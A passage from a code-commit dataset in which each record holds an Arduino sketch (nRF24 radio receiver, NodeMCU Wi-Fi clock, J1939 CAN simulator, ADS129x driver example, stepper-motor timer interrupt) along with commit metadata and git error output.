\"Arduino.h\"\n#include <SPI.h>\n#include <RF24.h>\n\n\/\/ This is just the way the RF24 library works:\n\/\/ Hardware configuration: Set up nRF24L01 radio on SPI bus (pins 10, 11, 12, 13) plus pins 7 & 8\nRF24 radio(7, 8);\n\nbyte addresses[][6] = {\"1Node\",\"2Node\"};\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ SETUP SETUP SETUP SETUP SETUP SETUP SETUP SETUP SETUP\n\/\/ -----------------------------------------------------------------------------\nvoid setup() {\n Serial.begin(9600);\n Serial.println(\"THIS IS THE RECEIVER CODE - YOU NEED THE OTHER ARDUINO TO TRANSMIT\");\n\n \/\/ Initiate the radio object\n radio.begin();\n\n \/\/ Set the transmit power to lowest available to prevent power supply related issues\n radio.setPALevel(RF24_PA_MAX);\n\n \/\/ Set the speed of the transmission to the quickest available\n radio.setDataRate(RF24_2MBPS);\n\n \/\/ Use a channel unlikely to be used by Wifi, Microwave ovens etc\n radio.setChannel(115);\n\n \/\/ Open a writing and reading pipe on each radio, with opposite addresses\n radio.openWritingPipe(addresses[0]);\n radio.openReadingPipe(1, addresses[1]);\n\n \/\/ Start the radio listening for data\n radio.startListening();\n}\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ We are LISTENING on this device only (although we do transmit a response)\n\/\/ -----------------------------------------------------------------------------\nvoid loop() {\n\n \/\/ This is what we receive from the other device (the transmitter)\n unsigned char data;\n\n \/\/ Is there any data for us to get?\n if ( radio.available()) {\n\n \/\/ Go and read the data and put it into that variable\n while (radio.available()) {\n radio.read( &data, sizeof(char));\n }\n\n \/\/ No more data to get so send it back but add 1 first just for kicks\n \/\/ First, stop listening so we can talk\n radio.stopListening();\n data++;\n radio.write( &data, sizeof(char) );\n\n \/\/ Now, resume listening so we catch the next packets.\n radio.startListening();\n\n \/\/ Tell the user what we sent back (the random numer + 1)\n Serial.print(\"Sent response \");\n Serial.println(data);\n }\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/nRF24L01_Test_Node_0.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b3a8823c73e3d77e48709fa1071648d993eb82ff","subject":"Initial commit of Arduino code for Project 1 Phase 1. Completed everything except PWM.","message":"Initial commit of Arduino code for Project 1 Phase 1. Completed everything except PWM.\n","repos":"paulmoon\/csc460,paulmoon\/csc460,paulmoon\/csc460","old_file":"CSC_460_-_Jan_19.ino","new_file":"CSC_460_-_Jan_19.ino","new_contents":"\/\/#include <Servo.h> \n \n\/\/Servo myservo; \/\/ create servo object to control a servo \n \nint potpin = 0; \/\/ analog pin used to connect the potentiometer\nint val; \/\/ variable to read the value from the analog pin \nvolatile byte b = 0; \/\/ Byte we're trying to transmit\nvolatile int i = 7; \/\/ Index of byte b we're comparing against.\n\nvoid setup() \n{ \n pinMode(3, OUTPUT);\n\/\/ myservo.attach(9); \/\/ attaches the servo on pin 9 to \u00a8the servo object \n Serial.begin(9600);\n \n pinMode(10, OUTPUT);\n\n \n \/\/Clear timer config.\n TCCR3A = 0;\n TCCR3B = 0; \n \/\/Set to CTC (mode 4)\n TCCR3B |= (1<<WGM32);\n \n \/\/Set prescaller to 256\n TCCR3B |= (1<<CS32);\n \n \/\/Set TOP value (0.5 seconds)\n OCR3A = 31250;\n \n\/\/ \/\/Enable interupt A for timer 3.\n\/\/ TIMSK3 |= (1<<OCIE3A);\n\/\/ \n\/\/ \/\/Set timer to 0 (optional here).\n\/\/ TCNT3 = 0;\n\n \n\/\/ \/\/PWM \n\/\/ \/\/Clear timer config\n\/\/ TCCR1A = 0;\n\/\/ TCCR1B = 0;\n\/\/ TIMSK1 &= ~(1<<OCIE1C);\n\/\/ \/\/Set to Fast PWM (mode 15)\n\/\/ TCCR1A |= (1<<WGM10) | (1<<WGM11);\n\/\/ TCCR1B |= (1<<WGM12) | (1<<WGM13);\n\/\/ \t\n\/\/ \/\/Enable output C.\n\/\/ TCCR1A |= (1<<COM1C1);\n\/\/ \/\/No prescaler\n\/\/ TCCR1B |= (1<<CS10);\n\/\/ \n\/\/ OCR1A = 800; \/\/50 us period\n\/\/ OCR1C = 0; \/\/Target\n} \n \nISR(TIMER3_COMPA_vect)\n{ \n Serial.println(i);\n if ((b & (1 << i)) != 0) {\n Serial.println(\"High\");\n digitalWrite(3, HIGH);\n } else {\n Serial.println(\"Low\");\n digitalWrite(3, LOW); \n }\n \n i -= 1;\n \n \/\/ All of byte was transmitted.\n if (i < 0) {\n Serial.println(\"DONE\");\n digitalWrite(3, LOW); \n TIMSK3 ^= (1<<OCIE3A);\n digitalWrite(10, LOW);\n }\n}\n\nvoid transmit(byte _b) {\n digitalWrite(10, HIGH);\n b = _b;\n i = 7;\n \n cli();\n \n \/\/Enable interupt A for timer 3.\n TIMSK3 |= (1<<OCIE3A);\n \/\/ Clear interrupt; \n TIFR3 |= (1<<OCF3A);\n \/\/Set timer to 0 (optional here).\n TCNT3 = 0;\n \n sei();\n}\n\nvoid loop() \n{ \n val = analogRead(potpin); \/\/ reads the value of the potentiometer (value between 0 and 1023) \n val = map(val, 0, 1023, 0, 180); \/\/ scale it to use it with the servo (value between 0 and 180) \n\/\/ Serial.println(val);\n \n int button = analogRead(A2);\n \n if (button < 10) {\n Serial.println(\"STARTING\");\n transmit(0x0F);\n }\n \n int receiver = analogRead(A3);\n\/\/ Serial.println(receiver);\n\/\/ myservo.write(val); \/\/ sets the servo position according to the scaled value \n delay(15); \/\/ waits for the servo to get there \n} \n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'CSC_460_-_Jan_19.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"410618ff4a438ecc6c1aa52b333c1e7ad36eb2a8","subject":"Add rotary encoder","message":"Add rotary encoder\n","repos":"JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino","old_file":"rotary-encoder\/rotary-encoder.ino","new_file":"rotary-encoder\/rotary-encoder.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/JulianNicholls\/Arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"c6bc46a163026baa03d0d19baad143249b317941","subject":"Update Evan's Movement Stuff.ino","message":"Update Evan's Movement Stuff.ino\n\n-added velocity calibration\r\n-added sonar stuff\r\n-fixed wheel_speeds()","repos":"Z3-Engineering\/Navigation-and-Pathfinding-Codes","old_file":"Evan's Movement Stuff.ino","new_file":"Evan's Movement Stuff.ino","new_contents":"","old_contents":"","returncode":2,"stderr":"\/bin\/sh: 1: Syntax error: Unterminated quoted string\n","license":"mit","lang":"Arduino"} {"commit":"7fb95c66be81c61cff17f54aec4db9b02c8592eb","subject":"Arduino sketch for NodeMCU","message":"Arduino sketch for NodeMCU\n","repos":"eszkadev\/nixie-clock,eszkadev\/nixie-clock","old_file":"nodemcu-sources\/wifi_clock.ino","new_file":"nodemcu-sources\/wifi_clock.ino","new_contents":"\/*\n * Copyright (c) 2018 Szymon K\u0142os\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n * *\/\n\n#include <ESP8266WiFi.h>\n#include <ESP8266WiFiMulti.h>\n\nESP8266WiFiMulti WiFiMulti;\nchar SSID[] = \"SSID\";\nchar PASSWORD[] = \"PASSWORD\";\n\nvoid setup() {\n Serial.begin(9600);\n delay(10);\n\n \/\/ Output for led\n pinMode(2, OUTPUT);\n\n \/\/ We start by connecting to a WiFi network\n WiFiMulti.addAP(SSID, PASSWORD);\n\n \/\/ Wait for WiFi...\n while(WiFiMulti.run() != WL_CONNECTED) {\n digitalWrite(2, HIGH);\n delay(500);\n }\n digitalWrite(2, LOW);\n\n delay(500);\n}\n\n\nvoid loop() {\n String current_time = getTimeFromDate(getDate());\n Serial.print('s');\n Serial.println(current_time);\n delay(5000);\n}\n\nString getDate() {\n WiFiClient client;\n\n while (!!!client.connect(\"google.com\", 80));\n client.print(\"HEAD \/ HTTP\/1.1\\r\\n\\r\\n\");\n\n while(!!!client.available()) {\n yield();\n }\n\n while(client.available()){\n if (client.read() == '\\n') { \n if (client.read() == 'D') { \n if (client.read() == 'a') { \n if (client.read() == 't') { \n if (client.read() == 'e') { \n if (client.read() == ':') { \n client.read();\n String theDate = client.readStringUntil('\\r');\n client.stop();\n return theDate;\n }\n }\n }\n }\n }\n }\n }\n}\n\nString getTimeFromDate(String date) {\n return date.substring(17, 25);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'nodemcu-sources\/wifi_clock.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0b2ba74add086a7d715183b6cef3c11202d8bc5d","subject":"version101","message":"version101\n","repos":"DigitalesSED\/ProyectoFinal","old_file":"Blink\/Blink.ino","new_file":"Blink\/Blink.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/DigitalesSED\/ProyectoFinal.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"cbcf4879bf628a1dcd2ca126d898d0272176bfae","subject":"simple J1939 simulator example for gear and enginespeed","message":"simple J1939 simulator example for gear and enginespeed\n\nsimple J1939 simulator example for gear and enginespeed\n","repos":"togglebit\/ArduinoDUE_OBD_FreeRunningCAN","old_file":"CAN_1939Sim.ino","new_file":"CAN_1939Sim.ino","new_contents":"#include <OBD2.h>\n#include <DueTimer.h>\n\/********************************************************************\nThis example is built upon the \"CANAcquisition\" class cAcquireCAN \nwhich is a simple scheduler for periodic TX\/RX of CAN messages. \n\nThis example shows how to set up a \"free-running\" CAN bus where you have:\n\t- Two messages being transmitted at 5Hz and 10Hz \n\t- One message being received at 1Hz\n\/********************************************************************\/\n\n\/\/create the CANport acqisition schedulers\ncAcquireCAN CANport0(CAN_PORT_0);\n\n\/***** DEFINITIONS FOR RAW CAN FRAME *****\/ \ncCANFrame RAW_CAN_Frame1;\ncCANFrame RAW_CAN_Frame2;\nUINT8 i;\nUINT32 maxTime;\nUINT16 engSpeed;\nUINT8 gear;\n\nvoid setup()\n{\n\t\/\/start serial port\n\tSerial.begin(115200);\n\n\t\/\/debugging message for monitor to indicate CPU resets are occuring\n\tSerial.println(\"System Reset\");\n\n\t\/\/start CAN ports, set the baud rate here\n\tCANport0.initialize(_500K);\n\n\t\/\/initialize the items needed to TX\/RX raw CAN mesasges\n\tRAW_CAN_Frame1.ID = 0xf004;\n\tRAW_CAN_Frame1.rate = _1Hz_Rate;\n RAW_CAN_Frame2.ID = 0xf005;\n RAW_CAN_Frame2.rate = _1Hz_Rate;\n \n \n\t\/\/add our raw messages to the scheduler\t1\n\tCANport0.addMessage(&RAW_CAN_Frame1, TRANSMIT);\n CANport0.addMessage(&RAW_CAN_Frame2, TRANSMIT);\n\n\n\t\/\/set up the transmission\/reception of messages to occur at 500Hz (2mS) timer interrupt\n\tTimer3.attachInterrupt(CAN_RxTx).setFrequency(500).start();\n\n\t\/\/output pin that can be used for debugging purposes\n\tpinMode(13, OUTPUT); \n\n gear =1;\n}\n\n\n\n\nvoid loop()\n{\n \/\/20,000 = 2500rpm 0.125rpm per bit, \n engSpeed = engSpeed < 20000 ? engSpeed + 100 : 0;\n gear = engSpeed == 0 ? gear + 1 : gear;\n gear = gear < 5 ? gear : 1;\n \n\tRAW_CAN_Frame1.U.b[3] = engSpeed & 0xFF;\n RAW_CAN_Frame1.U.b[4] = ( engSpeed >> 8 ) & 0xFF;\n \n \/\/gear has an offset of 125\n RAW_CAN_Frame2.U.b[3] = gear + 125;\n\n\t\/\/pass control to other task\n\tdelay(100);\n}\n\n\/\/this is our timer interrupt handler, called at XmS interval\nvoid CAN_RxTx()\n{\n\t\/\/run CAN acquisition schedulers on both ports including OBD and RAW CAN mesages (RX\/TX)\t\t \n\tCANport0.run(TIMER_2mS);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'CAN_1939Sim.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"7f9f60f5c89c9e297e1019cde6da641d201dcfed","subject":"Add time increment","message":"Add time increment\n\nBaki kralj","repos":"tms1337\/inverted-pendulum","old_file":"DCMotorTest.ino","new_file":"DCMotorTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tms1337\/inverted-pendulum.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"2e5c820d75b4258ffdfa6438cc8e04365bf93e3b","subject":"Arudino Code v1.0","message":"Arudino Code v1.0\n\nIn this study, using a wireless network, remote control of a mobile robot with a camera mounted on it was performed automatically, using the keyboard arrow keys, and on the way drawn on a virtual map. The purpose of designing this mobile robot is to create an open platform for developing applications that can perform more complex tasks. The mobile robot platform has a wireless communication interface that allows control over the internet using C # compatible devices. This feature ensures that the robot has a flexible structure.","repos":"firatozz\/Explorer-Robot","old_file":"Kesif_Robotu.ino","new_file":"Kesif_Robotu.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/firatozz\/Explorer-Robot.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"7039f56ab6ba54df546e695573fe2123be7d6c5c","subject":"blink letter test","message":"blink letter test\n","repos":"kdomen\/Morse-Code","old_file":"arduinoCode\/arduinoCode.ino","new_file":"arduinoCode\/arduinoCode.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/kdomen\/Morse-Code.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"14a71464fa6958b077dfcebf22bb50467c141f69","subject":"Add usage example","message":"Add usage example\n","repos":"hal-314\/ADS129x-driver,hal-314\/ADS129x-driver","old_file":"adsDriverExample.ino","new_file":"adsDriverExample.ino","new_contents":"#include <Arduino.h>\n\n#include \"ads129xDriver.h\"\n\n\n\/\/ The driver is configure to talk control an ADS1294 chip.\n\/\/ In file ads129xDriverConfig.h you have to specify the model of the ADS, bits per channel \n\/\/ the lvel of verbose of the library.\n\n\/\/ GPIO pins where CS, DRDY and RESET pins of the ADS chip are conected.\n\/* ============== GPIO pins connected to ADS chip ===========*\/\n\/\/ CS and DRDY pin of the ADS chip MUST be connected to Arduino\n#define ADS_CS_PIN 6 \/\/ CS pin is mandatory\n#define ADS_DRDY_PIN 5 \/\/ DRDY pin is mandatory\n\/\/ Optional pins connections. They usually doesn't add new functionality but they provide a way \n\/\/ to avoid to use SPI commands to achieve the desired functionality.\n\/\/ RESET pins connection is optional but recomended. If ADS doesn't respond to SPI commands due to a malfunction, RESET pin always work.\n#define ADS_RESET_PIN 10 \/\/ If it not used, it could be the constant ADS_PIN_NOT_USED or call the constructor with only two arguments\n\n\/\/ Constructor\nADS129xSensor adsSensor(ADS_CS_PIN, ADS_DRDY_PIN, ADS_RESET_PIN);\n\/\/ ADS129xSensor adsSensor(ADS_CS_PIN, ADS_DRDY_PIN); \/\/ Only CS and DRDY pins are used\n\/\/ ADS129xSensor adsSensor(ADS_CS_PIN, ADS_DRDY_PIN, ADS_PIN_NOT_USED); \/\/ \/\/ Only CS and DRDY pins are used. Equivalent to the previous line\n\n\/\/ Helper function to print byte value in bits\nvoid printBits(byte myByte) {\n for (byte mask = 0x80; mask; mask >>= 1) {\n if (mask & myByte)\n Serial.print('1');\n else\n Serial.print('0');\n }\n}\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n while (!Serial);\n Serial.begin(115200);\n\n Serial.println(\"Sarting the ADS setuo\");\n\n Serial.println(\"Calling ADS129xSensor.begin() method. Remenber to call at the beginning');\n \/\/ You MUST call begin() method before any other method of ADS129xSensor\n adsSensor.begin();\n\n \/\/ It is not need. Only for example purposes\n Serial.println(\"Example: reset value for all registers without reset command\");\n adsSensor.setAllRegisterToResetValuesWithoutResetCommand();\n\n \/\/ Read ADS129x ID:\n byte regValue = adsSensor.readRegister(ads::registers::id::REG_ADDR);\n\n Serial.print(\"ID register: \");\n printBits(adsSensor.readRegister(ads::registers::id::REG_ADDR));\n Serial.println(\"\");\n\n Serial.print(\"Set sampling read to 1 kHz and low-power mode\");\n Serial.print(\"Keep in mind that when config1 or resp registers are changed, internal reset is performed. See the datasheet, section Reset\");\n \/\/ By default, ADS12xx is in low-power consumption and with a sample frequency of 250 Hz\n adsSensor.writeRegister(ads::registers::config1::REG_ADDR, ads::registers::config1::LOW_POWR_1k_SPS);\n Serial.print(\"The new value CONFIG1 register is \");\n printBits(adsSensor.readRegister(ads::registers::config1::REG_ADDR));\n\n \/\/ Setup of my circuit. In my case, it hadn't external reference,\n Serial.println(\"Enabling internal reference buffer --> set PD_REFBUF to 1\");\n \/\/ If you change inividual bits with constants B_xx, you must add with the RESERVED_BITS constant value to be sure that you will\n \/\/ write the right bits in the reserved bits in the register.\n \/\/ Remember to write all desired configuration in a register simultaneously. When you write a register, you delete all previous values\n adsSensor.writeRegister(ads::registers::config3::REG_ADDR, ads::registers::config3::B_PD_REFBUF | ads::registers::config3::RESERVED_BITS);\n \n \/\/ Wait for internal reference to wake up. See page 15, section Electrical Characteristicsm in the datasheet,\n delayMicroseconds(150);\n \n \/\/ Select test signal from chip\n \/\/ As example, this 2 methods will keep the SPI open for ADS129x chip for faster configuration. The difference It's not noticeable for humans\n \/\/ Be careful when you use this option. Read the documentation before using it.\n adsSensor.writeRegister(ads::registers::config2::REG_ADDR, ads::registers::config2::TEST_SOURCE_INTERNAL, true);\n \/\/ We will use the square signal at 4 Hz\n adsSensor.writeRegister(ads::registers::config2::REG_ADDR, ads::registers::config2::TEST_FREQ_4HZ, true);\n\n Serial.println(\"Starting channels configuration\");\n Serial.println(\"Channel 1: gain 1 and test signal as input\");\n adsSensor.enableChannelAndSetGain(1, ads::registers::chnSet::GAIN_1X, ads::registers::chnSet::TEST_SIGNAL);\n Serial.println(\"Channel 2: gain 3 and test signal as input\");\n adsSensor.enableChannelAndSetGain(2, ads::registers::chnSet::GAIN_3X, ads::registers::chnSet::TEST_SIGNAL);\n Serial.println(\"Channel 3: power-down and its inputs shorted (as Texas Instruments recommends)\");\n adsSensor.disableChannel(3, true);\n Serial.println(\"Channels 4 to max channels: set gain 6 and normal input\");\n for (uint8_t i = 4; i <= ADS_N_CHANNELS; i++)\n adsSensor.enableChannelAndSetGain(i, ads::registers::chnSet::GAIN_6X, ads::registers::chnSet::ELECTRODE_INPUT);\n\n Serial.println(\"Starting channels configuration\");\n adsSensor.sendSPICommandSTART();\n\n \/\/ We need to put ADS in DATA or RDATC mode to receive new data\n \/\/ Remember that in RDATAC mode, ADS ignores any SPI command sent if it is not SDATAC command \n Serial.println(\"Set ADS chip in read data (RDATA) mode\");\n adsSensor.sendSPICommandRDATA(); \n\n \/\/ You can could the method end() to free GPIO used pins and resources. if you don't need any more de ADS\n \/\/ You have to call begin() if you want to use again the ADS\n \/\/ adsSensor.end()\n}\n\nvoid loop() {\n Serial.println(\"New loop iteration\");\n\n if (adsSensor.hasNewDataAvailable()) {\n Serial.println(\"New data available\");\n ads_data_t *adsData = adsSensor.getData();\n \/\/byte[3] statusWord = adsData->formatedData.statusWord;\n \/\/byte[3] channel1 = adsData->formatedData.channel[0];\n\n Serial.println(\"Status word (in binary):\");\n printBits(adsData->formatedData.statusWord[0]);\n Serial.print(\"\\t\");\n printBits(adsData->formatedData.statusWord[1]);\n Serial.print(\"\\t\");\n printBits(adsData->formatedData.statusWord[2]);\n Serial.println(\"\");\n\n Serial.println(\"Channel 1 sample:\");\n Serial.print(adsData->formatedData.channel[0].hi);\n Serial.print(\"\\t\");\n Serial.print(adsData->formatedData.channel[0].mid);\n Serial.print(\"\\t\");\n Serial.print(adsData->formatedData.channel[0].low);\n Serial.print(\"\\t\");\n\n \/\/ Transform sample to voltage\n \/\/ Remember that is in MSB (most significant bit) order!!! Position 0\n \/\/ ADS send samples in 24 bits and in binary twos complement format.\n byte *byteSample = (byte*) &adsData->formatedData.channel[0];\n \/\/ For an easy manipulation, transform twos complement format to binary offset. It is equivalent to an unsigned value\n \/\/ with V_Ref offset. The new zero is equivalent in the real world to maximum negative value possible\n byte mask = byteSample[0] & 0x80;\n mask ^= 0x80;\n byte offsetBinary = mask | (byteSample[0] & 0x7F);\n \/\/ Sample in binary offset of 24 bits. Remember, it has in MSB format. We can access with adsData->formatedData.channel[0].{hi,mid,low} fields\n int32_t sampleValue = (offsetBinary << 16) + (byteSample[1] << 8) + byteSample[2];\n \/\/ Remove offset and scale the variable before printing in the monitor\n float v_ref = 2.4; \/\/ V_ref for the ADS1294. In my setup, VREFP = 2.4V (see VREF_4V bit in config3) and VREFN = 0V (connected to ground)\n float channelGain = 1;\n float sampleInVoltsAndWithOffset = v_ref * ((float) sampleValue) \/ (pow(2, 23) - 1) \/ channelGain;\n float sampleInVolts = sampleInVoltsAndWithOffset - v_ref;\n Serial.print(\"Equivalent value in milivolts\");\n Serial.print(\"\\t\");\n Serial.println(sampleInVolts * 1e3, 5);\n\n \/*\n \/\/ Print in binary\n Serial.print(\"Original bits for channel 1: \");\n printBits(adsData->formatedData.channel[0].hi);\n printBits(adsData->formatedData.channel[0].mid);\n printBits(adsData->formatedData.channel[0].low);\n Serial.println(\"\");\n Serial.print(\"Bits in offset binary for channel 1: \");\n Serial.println(sampleValue, BIN);\n *\/\n\n \/\/ Read new data. We aren't in RDATAC mode\n adsSensor.sendSPICommandRDATA();\n } else {\n Serial.println(\"No new data\");\n }\n\n Serial.println(\"\");\n \n Serial.println(\"Wait 1 second before execute again the loop\");\n delay(1000);\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'adsDriverExample.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4c9df603bf725e10ebf7ca05c4b93a32789f3b60","subject":"Working test of 3-axis interrupt-driven stepper driver","message":"Working test of 3-axis interrupt-driven stepper driver\n","repos":"strangedevice\/giantsketchy","old_file":"arduino\/timer_isr_test\/timer_isr_test.ino","new_file":"arduino\/timer_isr_test\/timer_isr_test.ino","new_contents":"\n\/\/ Robot parameters\n\n#define CYCLOID_RATIO 21\n#define MICROSTEPS 4\n#define STEPS_PER_REV 200\n\n#define SAFE_LIMIT ((MICROSTEPS * STEPS_PER_REV * CYCLOID_RATIO) \/ 3)\n\n\/\/ Maximum step rate is half of this number\n#define INTERRUPT_FREQUENCY 8000\n\n\/\/ For RAMPS 1.4, mapped to ATMeta2560\n\/\/ See .\/hardware\/arduino\/variants\/mega\/pins_arduino.h\n\n\/*****************************************************\n#define X_STEP_PIN 54 \/\/ A0 = PF0\n#define X_DIR_PIN 55 \/\/ A1 = PF1\n#define X_ENABLE_PIN 38 \/\/ D38 = PD7\n#define X_MIN_PIN 3 \/\/ PWM3 = PE5 \n#define X_MAX_PIN 2 \/\/ PWM2 = PE4\n\n#define Y_STEP_PIN 60 \/\/ A6 = PF6\n#define Y_DIR_PIN 61 \/\/ A7 = PF7\n#define Y_ENABLE_PIN 56 \/\/ A2 = PF2\n#define Y_MIN_PIN 14 \/\/ USART3_TX = PJ1\n#define Y_MAX_PIN 15 \/\/ USART3_RX = PJ0\n\n#define Z_STEP_PIN 46 \/\/ D46 = PL3\n#define Z_DIR_PIN 48 \/\/ D48 = PL1\n#define Z_ENABLE_PIN 62 \/\/ A8 = PK0\n#define Z_MIN_PIN 18 \/\/ USART1_TX = PD3\n#define Z_MAX_PIN 19 \/\/ USART1_RX = PD2\n*******************************************************\/\n\n#define SET_X_STEP() PORTF |= _BV(PF0)\n#define CLR_X_STEP() PORTF &= ~_BV(PF0)\n#define SET_Y_STEP() PORTF |= _BV(PF6)\n#define CLR_Y_STEP() PORTF &= ~_BV(PF6)\n#define SET_Z_STEP() PORTL |= _BV(PL3)\n#define CLR_Z_STEP() PORTL &= ~_BV(PL3)\n\n#define SET_X_DIR() PORTF |= _BV(PF1)\n#define CLR_X_DIR() PORTF &= ~_BV(PF1)\n#define SET_Y_DIR() PORTF |= _BV(PF7)\n#define CLR_Y_DIR() PORTF &= ~_BV(PF7)\n#define SET_Z_DIR() PORTL |= _BV(PL1)\n#define CLR_Z_DIR() PORTL &= ~_BV(PL1)\n\n\/\/ Enables are active low on Pololu\n#define ENABLE_X_MOTOR() PORTD &= ~_BV(PD7)\n#define DISABLE_X_MOTOR() PORTD |= _BV(PD7)\n#define ENABLE_Y_MOTOR() PORTF &= ~_BV(PF2)\n#define DISABLE_Y_MOTOR() PORTF |= _BV(PF2)\n#define ENABLE_Z_MOTOR() PORTK &= ~_BV(PK0)\n#define DISABLE_Z_MOTOR() PORTK |= _BV(PK0)\n\n\/\/ Switches normally closed with pullup, so high when switch pressed\n#define AT_X_MIN() ((PINE & _BV(PE5)) != 0)\n#define AT_Y_MIN() ((PINJ & _BV(PJ1)) != 0)\n#define AT_Z_MIN() ((PIND & _BV(PD3)) != 0)\n\n\/\/ Position bit that is written to the STEP output\n\/\/ Bit 0 steps at half the timer frequency, etc.\n#define STEP_BIT (1 << 0)\n\nvoid setup() {\n \n \/\/ Set step, direction and enable pins as output for 3 axes (9 total)\n DDRF |= _BV(PF0) | _BV(PF1) | _BV(PF6) | _BV(PF7) | _BV(PF2);\n DDRD |= _BV(PD7);\n DDRL |= _BV(PL3) | _BV(PL1);\n DDRK |= _BV(PK0);\n \n \/\/ Set min and max pins as inputs with pullup for 3 axes (6 total)\n DDRE &= ~(_BV(PE5) | _BV(PE4)); PORTE |= _BV(PE5) | _BV(PE4);\n DDRJ &= ~(_BV(PJ1) | _BV(PJ0)); PORTJ |= _BV(PJ1) | _BV(PJ0);\n DDRD &= ~(_BV(PD3) | _BV(PD2)); PORTD |= _BV(PD3) | _BV(PD2);\n \n cli(); \/\/ disable interrupts\n\n \/\/ Use 8-bit timer0 to drive steppers\n \n \/\/ CTC mode: clear counter and interrupt when OCR0A is matched\n TCCR0A = (1 << WGM01);\n \n \/\/ prescaler divides clk by 64 (250 kHz tick)\n TCCR0B = (1 << CS01) | (1 << CS00);\n \n \/\/ set compare match register for frequency (value must be <256)\n OCR0A = (uint8_t)(16000000L \/ ((uint32_t) INTERRUPT_FREQUENCY * 64L) - 1L);\n \n TCNT0 = 0; \/\/initialize counter value\n \n \/\/ enable timer compare interrupt\n TIMSK0 |= (1 << OCIE0A);\n\n sei(); \/\/ enable interrupts\n \n ENABLE_X_MOTOR(); \/\/ for now\n ENABLE_Y_MOTOR();\n ENABLE_Z_MOTOR();\n}\n\nvolatile uint16_t xPosition = 0;\nvolatile uint16_t yPosition = 0;\nvolatile uint16_t zPosition = 0;\nvolatile uint16_t xTarget = 0;\nvolatile uint16_t yTarget = 0;\nvolatile uint16_t zTarget = 0;\n\n\/\/ Table approximates a square root function (at constant acceleration, elapsed time goes as square root of distance).\n\/\/ Acceleration increases towards the far end (non-linear), so that we reach max speed in a reasonable time.\n#define ACCEL_STEPS 75\nconst uint8_t accelTab[] = {71,29,22,19,17,15,14,13,12,11,11,10,10,10,9,9,9,9,8,8,8,8,8,7,7,7,7,7,7,6,6,6,6,6,6,6,5,5,5,5,5,5,5,5,4,4,4,4,4,4,4,4,4,3,3,3,3,3,3,3,3,3,3,2,2,2,2,2,2,2,2,2,2,2,1};\n\nvolatile uint8_t xAccelStep = 0; \/\/ the acceleration step we are on, index into accelTab[]\nvolatile uint16_t xTicksRemaining = 1; \/\/ number of ticks before next step is issued\nvolatile uint8_t yAccelStep = 0;\nvolatile uint16_t yTicksRemaining = 1; \nvolatile uint8_t zAccelStep = 0; \nvolatile uint16_t zTicksRemaining = 1;\n\nISR(TIMER0_COMPA_vect) {\n \n if (--xTicksRemaining == 0) {\n uint16_t stepsToGo = xPosition > xTarget ? xPosition - xTarget : xTarget - xPosition;\n \n if (stepsToGo > xAccelStep) {\n \/\/ We still have enough room to decelerate, so continue to accelerate.\n if (xAccelStep < 